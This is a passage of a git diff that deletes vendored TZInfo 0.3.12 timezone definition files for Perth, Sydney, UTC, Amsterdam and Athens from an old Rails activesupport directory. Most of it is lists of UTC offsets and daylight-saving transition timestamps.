-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Australia
-      module Perth
-        include TimezoneDefinition
-        
-        timezone 'Australia/Perth' do |tz|
-          tz.offset :o0, 27804, 0, :LMT
-          tz.offset :o1, 28800, 0, :WST
-          tz.offset :o2, 28800, 3600, :WST
-          
-          tz.transition 1895, 11, :o1, 17377402883, 7200
-          tz.transition 1916, 12, :o2, 3486570001, 1440
-          tz.transition 1917, 3, :o1, 58111493, 24
-          tz.transition 1941, 12, :o2, 9721441, 4
-          tz.transition 1942, 3, :o1, 58330733, 24
-          tz.transition 1942, 9, :o2, 9722517, 4
-          tz.transition 1943, 3, :o1, 58339469, 24
-          tz.transition 1974, 10, :o2, 152042400
-          tz.transition 1975, 3, :o1, 162928800
-          tz.transition 1983, 10, :o2, 436298400
-          tz.transition 1984, 3, :o1, 447184800
-          tz.transition 1991, 11, :o2, 690314400
-          tz.transition 1992, 2, :o1, 699386400
-          tz.transition 2006, 12, :o2, 1165082400
-          tz.transition 2007, 3, :o1, 1174759200
-          tz.transition 2007, 10, :o2, 1193508000
-          tz.transition 2008, 3, :o1, 1206813600
-          tz.transition 2008, 10, :o2, 1224957600
-          tz.transition 2009, 3, :o1, 1238263200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb
deleted file mode 100644
index 9062bd7c..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Sydney.rb
+++ /dev/null
@@ -1,185 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Australia
-      module Sydney
-        include TimezoneDefinition
-        
-        timezone 'Australia/Sydney' do |tz|
-          tz.offset :o0, 36292, 0, :LMT
-          tz.offset :o1, 36000, 0, :EST
-          tz.offset :o2, 36000, 3600, :EST
-          
-          tz.transition 1895, 1, :o1, 52125661727, 21600
-          tz.transition 1916, 12, :o2, 3486569881, 1440
-          tz.transition 1917, 3, :o1, 19370497, 8
-          tz.transition 1941, 12, :o2, 14582161, 6
-          tz.transition 1942, 3, :o1, 19443577, 8
-          tz.transition 1942, 9, :o2, 14583775, 6
-          tz.transition 1943, 3, :o1, 19446489, 8
-          tz.transition 1943, 10, :o2, 14586001, 6
-          tz.transition 1944, 3, :o1, 19449401, 8
-          tz.transition 1971, 10, :o2, 57686400
-          tz.transition 1972, 2, :o1, 67968000
-          tz.transition 1972, 10, :o2, 89136000
-          tz.transition 1973, 3, :o1, 100022400
-          tz.transition 1973, 10, :o2, 120585600
-          tz.transition 1974, 3, :o1, 131472000
-          tz.transition 1974, 10, :o2, 152035200
-          tz.transition 1975, 3, :o1, 162921600
-          tz.transition 1975, 10, :o2, 183484800
-          tz.transition 1976, 3, :o1, 194976000
-          tz.transition 1976, 10, :o2, 215539200
-          tz.transition 1977, 3, :o1, 226425600
-          tz.transition 1977, 10, :o2, 246988800
-          tz.transition 1978, 3, :o1, 257875200
-          tz.transition 1978, 10, :o2, 278438400
-          tz.transition 1979, 3, :o1, 289324800
-          tz.transition 1979, 10, :o2, 309888000
-          tz.transition 1980, 3, :o1, 320774400
-          tz.transition 1980, 10, :o2, 341337600
-          tz.transition 1981, 2, :o1, 352224000
-          tz.transition 1981, 10, :o2, 372787200
-          tz.transition 1982, 4, :o1, 386697600
-          tz.transition 1982, 10, :o2, 404841600
-          tz.transition 1983, 3, :o1, 415728000
-          tz.transition 1983, 10, :o2, 436291200
-          tz.transition 1984, 3, :o1, 447177600
-          tz.transition 1984, 10, :o2, 467740800
-          tz.transition 1985, 3, :o1, 478627200
-          tz.transition 1985, 10, :o2, 499190400
-          tz.transition 1986, 3, :o1, 511286400
-          tz.transition 1986, 10, :o2, 530035200
-          tz.transition 1987, 3, :o1, 542736000
-          tz.transition 1987, 10, :o2, 562089600
-          tz.transition 1988, 3, :o1, 574790400
-          tz.transition 1988, 10, :o2, 594144000
-          tz.transition 1989, 3, :o1, 606240000
-          tz.transition 1989, 10, :o2, 625593600
-          tz.transition 1990, 3, :o1, 636480000
-          tz.transition 1990, 10, :o2, 657043200
-          tz.transition 1991, 3, :o1, 667929600
-          tz.transition 1991, 10, :o2, 688492800
-          tz.transition 1992, 2, :o1, 699379200
-          tz.transition 1992, 10, :o2, 719942400
-          tz.transition 1993, 3, :o1, 731433600
-          tz.transition 1993, 10, :o2, 751996800
-          tz.transition 1994, 3, :o1, 762883200
-          tz.transition 1994, 10, :o2, 783446400
-          tz.transition 1995, 3, :o1, 794332800
-          tz.transition 1995, 10, :o2, 814896000
-          tz.transition 1996, 3, :o1, 828201600
-          tz.transition 1996, 10, :o2, 846345600
-          tz.transition 1997, 3, :o1, 859651200
-          tz.transition 1997, 10, :o2, 877795200
-          tz.transition 1998, 3, :o1, 891100800
-          tz.transition 1998, 10, :o2, 909244800
-          tz.transition 1999, 3, :o1, 922550400
-          tz.transition 1999, 10, :o2, 941299200
-          tz.transition 2000, 3, :o1, 954000000
-          tz.transition 2000, 8, :o2, 967305600
-          tz.transition 2001, 3, :o1, 985449600
-          tz.transition 2001, 10, :o2, 1004198400
-          tz.transition 2002, 3, :o1, 1017504000
-          tz.transition 2002, 10, :o2, 1035648000
-          tz.transition 2003, 3, :o1, 1048953600
-          tz.transition 2003, 10, :o2, 1067097600
-          tz.transition 2004, 3, :o1, 1080403200
-          tz.transition 2004, 10, :o2, 1099152000
-          tz.transition 2005, 3, :o1, 1111852800
-          tz.transition 2005, 10, :o2, 1130601600
-          tz.transition 2006, 4, :o1, 1143907200
-          tz.transition 2006, 10, :o2, 1162051200
-          tz.transition 2007, 3, :o1, 1174752000
-          tz.transition 2007, 10, :o2, 1193500800
-          tz.transition 2008, 4, :o1, 1207411200
-          tz.transition 2008, 10, :o2, 1223136000
-          tz.transition 2009, 4, :o1, 1238860800
-          tz.transition 2009, 10, :o2, 1254585600
-          tz.transition 2010, 4, :o1, 1270310400
-          tz.transition 2010, 10, :o2, 1286035200
-          tz.transition 2011, 4, :o1, 1301760000
-          tz.transition 2011, 10, :o2, 1317484800
-          tz.transition 2012, 3, :o1, 1333209600
-          tz.transition 2012, 10, :o2, 1349539200
-          tz.transition 2013, 4, :o1, 1365264000
-          tz.transition 2013, 10, :o2, 1380988800
-          tz.transition 2014, 4, :o1, 1396713600
-          tz.transition 2014, 10, :o2, 1412438400
-          tz.transition 2015, 4, :o1, 1428163200
-          tz.transition 2015, 10, :o2, 1443888000
-          tz.transition 2016, 4, :o1, 1459612800
-          tz.transition 2016, 10, :o2, 1475337600
-          tz.transition 2017, 4, :o1, 1491062400
-          tz.transition 2017, 9, :o2, 1506787200
-          tz.transition 2018, 3, :o1, 1522512000
-          tz.transition 2018, 10, :o2, 1538841600
-          tz.transition 2019, 4, :o1, 1554566400
-          tz.transition 2019, 10, :o2, 1570291200
-          tz.transition 2020, 4, :o1, 1586016000
-          tz.transition 2020, 10, :o2, 1601740800
-          tz.transition 2021, 4, :o1, 1617465600
-          tz.transition 2021, 10, :o2, 1633190400
-          tz.transition 2022, 4, :o1, 1648915200
-          tz.transition 2022, 10, :o2, 1664640000
-          tz.transition 2023, 4, :o1, 1680364800
-          tz.transition 2023, 9, :o2, 1696089600
-          tz.transition 2024, 4, :o1, 1712419200
-          tz.transition 2024, 10, :o2, 1728144000
-          tz.transition 2025, 4, :o1, 1743868800
-          tz.transition 2025, 10, :o2, 1759593600
-          tz.transition 2026, 4, :o1, 1775318400
-          tz.transition 2026, 10, :o2, 1791043200
-          tz.transition 2027, 4, :o1, 1806768000
-          tz.transition 2027, 10, :o2, 1822492800
-          tz.transition 2028, 4, :o1, 1838217600
-          tz.transition 2028, 9, :o2, 1853942400
-          tz.transition 2029, 3, :o1, 1869667200
-          tz.transition 2029, 10, :o2, 1885996800
-          tz.transition 2030, 4, :o1, 1901721600
-          tz.transition 2030, 10, :o2, 1917446400
-          tz.transition 2031, 4, :o1, 1933171200
-          tz.transition 2031, 10, :o2, 1948896000
-          tz.transition 2032, 4, :o1, 1964620800
-          tz.transition 2032, 10, :o2, 1980345600
-          tz.transition 2033, 4, :o1, 1996070400
-          tz.transition 2033, 10, :o2, 2011795200
-          tz.transition 2034, 4, :o1, 2027520000
-          tz.transition 2034, 9, :o2, 2043244800
-          tz.transition 2035, 3, :o1, 2058969600
-          tz.transition 2035, 10, :o2, 2075299200
-          tz.transition 2036, 4, :o1, 2091024000
-          tz.transition 2036, 10, :o2, 2106748800
-          tz.transition 2037, 4, :o1, 2122473600
-          tz.transition 2037, 10, :o2, 2138198400
-          tz.transition 2038, 4, :o1, 14793103, 6
-          tz.transition 2038, 10, :o2, 14794195, 6
-          tz.transition 2039, 4, :o1, 14795287, 6
-          tz.transition 2039, 10, :o2, 14796379, 6
-          tz.transition 2040, 3, :o1, 14797471, 6
-          tz.transition 2040, 10, :o2, 14798605, 6
-          tz.transition 2041, 4, :o1, 14799697, 6
-          tz.transition 2041, 10, :o2, 14800789, 6
-          tz.transition 2042, 4, :o1, 14801881, 6
-          tz.transition 2042, 10, :o2, 14802973, 6
-          tz.transition 2043, 4, :o1, 14804065, 6
-          tz.transition 2043, 10, :o2, 14805157, 6
-          tz.transition 2044, 4, :o1, 14806249, 6
-          tz.transition 2044, 10, :o2, 14807341, 6
-          tz.transition 2045, 4, :o1, 14808433, 6
-          tz.transition 2045, 9, :o2, 14809525, 6
-          tz.transition 2046, 3, :o1, 14810617, 6
-          tz.transition 2046, 10, :o2, 14811751, 6
-          tz.transition 2047, 4, :o1, 14812843, 6
-          tz.transition 2047, 10, :o2, 14813935, 6
-          tz.transition 2048, 4, :o1, 14815027, 6
-          tz.transition 2048, 10, :o2, 14816119, 6
-          tz.transition 2049, 4, :o1, 14817211, 6
-          tz.transition 2049, 10, :o2, 14818303, 6
-          tz.transition 2050, 4, :o1, 14819395, 6
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb
deleted file mode 100644
index 28b2c6a0..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Etc/UTC.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Etc
-      module UTC
-        include TimezoneDefinition
-        
-        timezone 'Etc/UTC' do |tz|
-          tz.offset :o0, 0, 0, :UTC
-          
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb
deleted file mode 100644
index 2d0c95c4..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Amsterdam.rb
+++ /dev/null
@@ -1,228 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Amsterdam
-        include TimezoneDefinition
-        
-        timezone 'Europe/Amsterdam' do |tz|
-          tz.offset :o0, 1172, 0, :LMT
-          tz.offset :o1, 1172, 0, :AMT
-          tz.offset :o2, 1172, 3600, :NST
-          tz.offset :o3, 1200, 3600, :NEST
-          tz.offset :o4, 1200, 0, :NET
-          tz.offset :o5, 3600, 3600, :CEST
-          tz.offset :o6, 3600, 0, :CET
-          
-          tz.transition 1834, 12, :o1, 51651636907, 21600
-          tz.transition 1916, 4, :o2, 52293264907, 21600
-          tz.transition 1916, 9, :o1, 52296568807, 21600
-          tz.transition 1917, 4, :o2, 52300826707, 21600
-          tz.transition 1917, 9, :o1, 52304153107, 21600
-          tz.transition 1918, 4, :o2, 52308386707, 21600
-          tz.transition 1918, 9, :o1, 52312317907, 21600
-          tz.transition 1919, 4, :o2, 52316400307, 21600
-          tz.transition 1919, 9, :o1, 52320180307, 21600
-          tz.transition 1920, 4, :o2, 52324262707, 21600
-          tz.transition 1920, 9, :o1, 52328042707, 21600
-          tz.transition 1921, 4, :o2, 52332125107, 21600
-          tz.transition 1921, 9, :o1, 52335905107, 21600
-          tz.transition 1922, 3, :o2, 52339814707, 21600
-          tz.transition 1922, 10, :o1, 52344048307, 21600
-          tz.transition 1923, 6, :o2, 52349145907, 21600
-          tz.transition 1923, 10, :o1, 52351910707, 21600
-          tz.transition 1924, 3, :o2, 52355690707, 21600
-          tz.transition 1924, 10, :o1, 52359773107, 21600
-          tz.transition 1925, 6, :o2, 52365021907, 21600
-          tz.transition 1925, 10, :o1, 52367635507, 21600
-          tz.transition 1926, 5, :o2, 52372452307, 21600
-          tz.transition 1926, 10, :o1, 52375497907, 21600
-          tz.transition 1927, 5, :o2, 52380336307, 21600
-          tz.transition 1927, 10, :o1, 52383360307, 21600
-          tz.transition 1928, 5, :o2, 52388241907, 21600
-          tz.transition 1928, 10, :o1, 52391373907, 21600
-          tz.transition 1929, 5, :o2, 52396125907, 21600
-          tz.transition 1929, 10, :o1, 52399236307, 21600
-          tz.transition 1930, 5, :o2, 52404009907, 21600
-          tz.transition 1930, 10, :o1, 52407098707, 21600
-          tz.transition 1931, 5, :o2, 52411893907, 21600
-          tz.transition 1931, 10, :o1, 52414961107, 21600
-          tz.transition 1932, 5, :o2, 52419950707, 21600
-          tz.transition 1932, 10, :o1, 52422823507, 21600
-          tz.transition 1933, 5, :o2, 52427683507, 21600
-          tz.transition 1933, 10, :o1, 52430837107, 21600
-          tz.transition 1934, 5, :o2, 52435567507, 21600
-          tz.transition 1934, 10, :o1, 52438699507, 21600
-          tz.transition 1935, 5, :o2, 52443451507, 21600
-          tz.transition 1935, 10, :o1, 52446561907, 21600
-          tz.transition 1936, 5, :o2, 52451357107, 21600
-          tz.transition 1936, 10, :o1, 52454424307, 21600
-          tz.transition 1937, 5, :o2, 52459392307, 21600
-          tz.transition 1937, 6, :o3, 52460253607, 21600
-          tz.transition 1937, 10, :o4, 174874289, 72
-          tz.transition 1938, 5, :o3, 174890417, 72
-          tz.transition 1938, 10, :o4, 174900497, 72
-          tz.transition 1939, 5, :o3, 174916697, 72
-          tz.transition 1939, 10, :o4, 174927209, 72
-          tz.transition 1940, 5, :o5, 174943115, 72
-          tz.transition 1942, 11, :o6, 58335973, 24
-          tz.transition 1943, 3, :o5, 58339501, 24
-          tz.transition 1943, 10, :o6, 58344037, 24
-          tz.transition 1944, 4, :o5, 58348405, 24
-          tz.transition 1944, 10, :o6, 58352773, 24
-          tz.transition 1945, 4, :o5, 58357141, 24
-          tz.transition 1945, 9, :o6, 58361149, 24
-          tz.transition 1977, 4, :o5, 228877200
-          tz.transition 1977, 9, :o6, 243997200
-          tz.transition 1978, 4, :o5, 260326800
-          tz.transition 1978, 10, :o6, 276051600
-          tz.transition 1979, 4, :o5, 291776400
-          tz.transition 1979, 9, :o6, 307501200
-          tz.transition 1980, 4, :o5, 323830800
-          tz.transition 1980, 9, :o6, 338950800
-          tz.transition 1981, 3, :o5, 354675600
-          tz.transition 1981, 9, :o6, 370400400
-          tz.transition 1982, 3, :o5, 386125200
-          tz.transition 1982, 9, :o6, 401850000
-          tz.transition 1983, 3, :o5, 417574800
-          tz.transition 1983, 9, :o6, 433299600
-          tz.transition 1984, 3, :o5, 449024400
-          tz.transition 1984, 9, :o6, 465354000
-          tz.transition 1985, 3, :o5, 481078800
-          tz.transition 1985, 9, :o6, 496803600
-          tz.transition 1986, 3, :o5, 512528400
-          tz.transition 1986, 9, :o6, 528253200
-          tz.transition 1987, 3, :o5, 543978000
-          tz.transition 1987, 9, :o6, 559702800
-          tz.transition 1988, 3, :o5, 575427600
-          tz.transition 1988, 9, :o6, 591152400
-          tz.transition 1989, 3, :o5, 606877200
-          tz.transition 1989, 9, :o6, 622602000
-          tz.transition 1990, 3, :o5, 638326800
-          tz.transition 1990, 9, :o6, 654656400
-          tz.transition 1991, 3, :o5, 670381200
-          tz.transition 1991, 9, :o6, 686106000
-          tz.transition 1992, 3, :o5, 701830800
-          tz.transition 1992, 9, :o6, 717555600
-          tz.transition 1993, 3, :o5, 733280400
-          tz.transition 1993, 9, :o6, 749005200
-          tz.transition 1994, 3, :o5, 764730000
-          tz.transition 1994, 9, :o6, 780454800
-          tz.transition 1995, 3, :o5, 796179600
-          tz.transition 1995, 9, :o6, 811904400
-          tz.transition 1996, 3, :o5, 828234000
-          tz.transition 1996, 10, :o6, 846378000
-          tz.transition 1997, 3, :o5, 859683600
-          tz.transition 1997, 10, :o6, 877827600
-          tz.transition 1998, 3, :o5, 891133200
-          tz.transition 1998, 10, :o6, 909277200
-          tz.transition 1999, 3, :o5, 922582800
-          tz.transition 1999, 10, :o6, 941331600
-          tz.transition 2000, 3, :o5, 954032400
-          tz.transition 2000, 10, :o6, 972781200
-          tz.transition 2001, 3, :o5, 985482000
-          tz.transition 2001, 10, :o6, 1004230800
-          tz.transition 2002, 3, :o5, 1017536400
-          tz.transition 2002, 10, :o6, 1035680400
-          tz.transition 2003, 3, :o5, 1048986000
-          tz.transition 2003, 10, :o6, 1067130000
-          tz.transition 2004, 3, :o5, 1080435600
-          tz.transition 2004, 10, :o6, 1099184400
-          tz.transition 2005, 3, :o5, 1111885200
-          tz.transition 2005, 10, :o6, 1130634000
-          tz.transition 2006, 3, :o5, 1143334800
-          tz.transition 2006, 10, :o6, 1162083600
-          tz.transition 2007, 3, :o5, 1174784400
-          tz.transition 2007, 10, :o6, 1193533200
-          tz.transition 2008, 3, :o5, 1206838800
-          tz.transition 2008, 10, :o6, 1224982800
-          tz.transition 2009, 3, :o5, 1238288400
-          tz.transition 2009, 10, :o6, 1256432400
-          tz.transition 2010, 3, :o5, 1269738000
-          tz.transition 2010, 10, :o6, 1288486800
-          tz.transition 2011, 3, :o5, 1301187600
-          tz.transition 2011, 10, :o6, 1319936400
-          tz.transition 2012, 3, :o5, 1332637200
-          tz.transition 2012, 10, :o6, 1351386000
-          tz.transition 2013, 3, :o5, 1364691600
-          tz.transition 2013, 10, :o6, 1382835600
-          tz.transition 2014, 3, :o5, 1396141200
-          tz.transition 2014, 10, :o6, 1414285200
-          tz.transition 2015, 3, :o5, 1427590800
-          tz.transition 2015, 10, :o6, 1445734800
-          tz.transition 2016, 3, :o5, 1459040400
-          tz.transition 2016, 10, :o6, 1477789200
-          tz.transition 2017, 3, :o5, 1490490000
-          tz.transition 2017, 10, :o6, 1509238800
-          tz.transition 2018, 3, :o5, 1521939600
-          tz.transition 2018, 10, :o6, 1540688400
-          tz.transition 2019, 3, :o5, 1553994000
-          tz.transition 2019, 10, :o6, 1572138000
-          tz.transition 2020, 3, :o5, 1585443600
-          tz.transition 2020, 10, :o6, 1603587600
-          tz.transition 2021, 3, :o5, 1616893200
-          tz.transition 2021, 10, :o6, 1635642000
-          tz.transition 2022, 3, :o5, 1648342800
-          tz.transition 2022, 10, :o6, 1667091600
-          tz.transition 2023, 3, :o5, 1679792400
-          tz.transition 2023, 10, :o6, 1698541200
-          tz.transition 2024, 3, :o5, 1711846800
-          tz.transition 2024, 10, :o6, 1729990800
-          tz.transition 2025, 3, :o5, 1743296400
-          tz.transition 2025, 10, :o6, 1761440400
-          tz.transition 2026, 3, :o5, 1774746000
-          tz.transition 2026, 10, :o6, 1792890000
-          tz.transition 2027, 3, :o5, 1806195600
-          tz.transition 2027, 10, :o6, 1824944400
-          tz.transition 2028, 3, :o5, 1837645200
-          tz.transition 2028, 10, :o6, 1856394000
-          tz.transition 2029, 3, :o5, 1869094800
-          tz.transition 2029, 10, :o6, 1887843600
-          tz.transition 2030, 3, :o5, 1901149200
-          tz.transition 2030, 10, :o6, 1919293200
-          tz.transition 2031, 3, :o5, 1932598800
-          tz.transition 2031, 10, :o6, 1950742800
-          tz.transition 2032, 3, :o5, 1964048400
-          tz.transition 2032, 10, :o6, 1982797200
-          tz.transition 2033, 3, :o5, 1995498000
-          tz.transition 2033, 10, :o6, 2014246800
-          tz.transition 2034, 3, :o5, 2026947600
-          tz.transition 2034, 10, :o6, 2045696400
-          tz.transition 2035, 3, :o5, 2058397200
-          tz.transition 2035, 10, :o6, 2077146000
-          tz.transition 2036, 3, :o5, 2090451600
-          tz.transition 2036, 10, :o6, 2108595600
-          tz.transition 2037, 3, :o5, 2121901200
-          tz.transition 2037, 10, :o6, 2140045200
-          tz.transition 2038, 3, :o5, 59172253, 24
-          tz.transition 2038, 10, :o6, 59177461, 24
-          tz.transition 2039, 3, :o5, 59180989, 24
-          tz.transition 2039, 10, :o6, 59186197, 24
-          tz.transition 2040, 3, :o5, 59189725, 24
-          tz.transition 2040, 10, :o6, 59194933, 24
-          tz.transition 2041, 3, :o5, 59198629, 24
-          tz.transition 2041, 10, :o6, 59203669, 24
-          tz.transition 2042, 3, :o5, 59207365, 24
-          tz.transition 2042, 10, :o6, 59212405, 24
-          tz.transition 2043, 3, :o5, 59216101, 24
-          tz.transition 2043, 10, :o6, 59221141, 24
-          tz.transition 2044, 3, :o5, 59224837, 24
-          tz.transition 2044, 10, :o6, 59230045, 24
-          tz.transition 2045, 3, :o5, 59233573, 24
-          tz.transition 2045, 10, :o6, 59238781, 24
-          tz.transition 2046, 3, :o5, 59242309, 24
-          tz.transition 2046, 10, :o6, 59247517, 24
-          tz.transition 2047, 3, :o5, 59251213, 24
-          tz.transition 2047, 10, :o6, 59256253, 24
-          tz.transition 2048, 3, :o5, 59259949, 24
-          tz.transition 2048, 10, :o6, 59264989, 24
-          tz.transition 2049, 3, :o5, 59268685, 24
-          tz.transition 2049, 10, :o6, 59273893, 24
-          tz.transition 2050, 3, :o5, 59277421, 24
-          tz.transition 2050, 10, :o6, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb
deleted file mode 100644
index 4e21e535..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Athens.rb
+++ /dev/null
@@ -1,185 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Athens
-        include TimezoneDefinition
-        
-        timezone 'Europe/Athens' do |tz|
-          tz.offset :o0, 5692, 0, :LMT
-          tz.offset :o1, 5692, 0, :AMT
-          tz.offset :o2, 7200, 0, :EET
-          tz.offset :o3, 7200, 3600, :EEST
-          tz.offset :o4, 3600, 3600, :CEST
-          tz.offset :o5, 3600, 0, :CET
-          
-          tz.transition 1895, 9, :o1, 52130529377, 21600
-          tz.transition 1916, 7, :o2, 3268447787, 1350
-          tz.transition 1932, 7, :o3, 29122745, 12
-          tz.transition 1932, 8, :o2, 19415611, 8
-          tz.transition 1941, 4, :o3, 29161097, 12
-          tz.transition 1941, 4, :o4, 19440915, 8
-          tz.transition 1942, 11, :o5, 58335973, 24
-          tz.transition 1943, 3, :o4, 58339523, 24
-          tz.transition 1943, 10, :o5, 29172017, 12
-          tz.transition 1944, 4, :o2, 58348427, 24
-          tz.transition 1952, 6, :o3, 29210333, 12
-          tz.transition 1952, 11, :o2, 19474547, 8
-          tz.transition 1975, 4, :o3, 166485600
-          tz.transition 1975, 11, :o2, 186184800
-          tz.transition 1976, 4, :o3, 198028800
-          tz.transition 1976, 10, :o2, 213753600
-          tz.transition 1977, 4, :o3, 228873600
-          tz.transition 1977, 9, :o2, 244080000
-          tz.transition 1978, 4, :o3, 260323200
-          tz.transition 1978, 9, :o2, 275446800
-          tz.transition 1979, 4, :o3, 291798000
-          tz.transition 1979, 9, :o2, 307407600
-          tz.transition 1980, 3, :o3, 323388000
-          tz.transition 1980, 9, :o2, 338936400
-          tz.transition 1981, 3, :o3, 354675600
-          tz.transition 1981, 9, :o2, 370400400
-          tz.transition 1982, 3, :o3, 386125200
-          tz.transition 1982, 9, :o2, 401850000
-          tz.transition 1983, 3, :o3, 417574800
-          tz.transition 1983, 9, :o2, 433299600
-          tz.transition 1984, 3, :o3, 449024400
-          tz.transition 1984, 9, :o2, 465354000
-          tz.transition 1985, 3, :o3, 481078800
-          tz.transition 1985, 9, :o2, 496803600
-          tz.transition 1986, 3, :o3, 512528400
-          tz.transition 1986, 9, :o2, 528253200
-          tz.transition 1987, 3, :o3, 543978000
-          tz.transition 1987, 9, :o2, 559702800
-          tz.transition 1988, 3, :o3, 575427600
-          tz.transition 1988, 9, :o2, 591152400
-          tz.transition 1989, 3, :o3, 606877200
-          tz.transition 1989, 9, :o2, 622602000
-          tz.transition 1990, 3, :o3, 638326800
-          tz.transition 1990, 9, :o2, 654656400
-          tz.transition 1991, 3, :o3, 670381200
-          tz.transition 1991, 9, :o2, 686106000
-          tz.transition 1992, 3, :o3, 701830800
-          tz.transition 1992, 9, :o2, 717555600
-          tz.transition 1993, 3, :o3, 733280400
-          tz.transition 1993, 9, :o2, 749005200
-          tz.transition 1994, 3, :o3, 764730000
-          tz.transition 1994, 9, :o2, 780454800
-          tz.transition 1995, 3, :o3, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o3, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
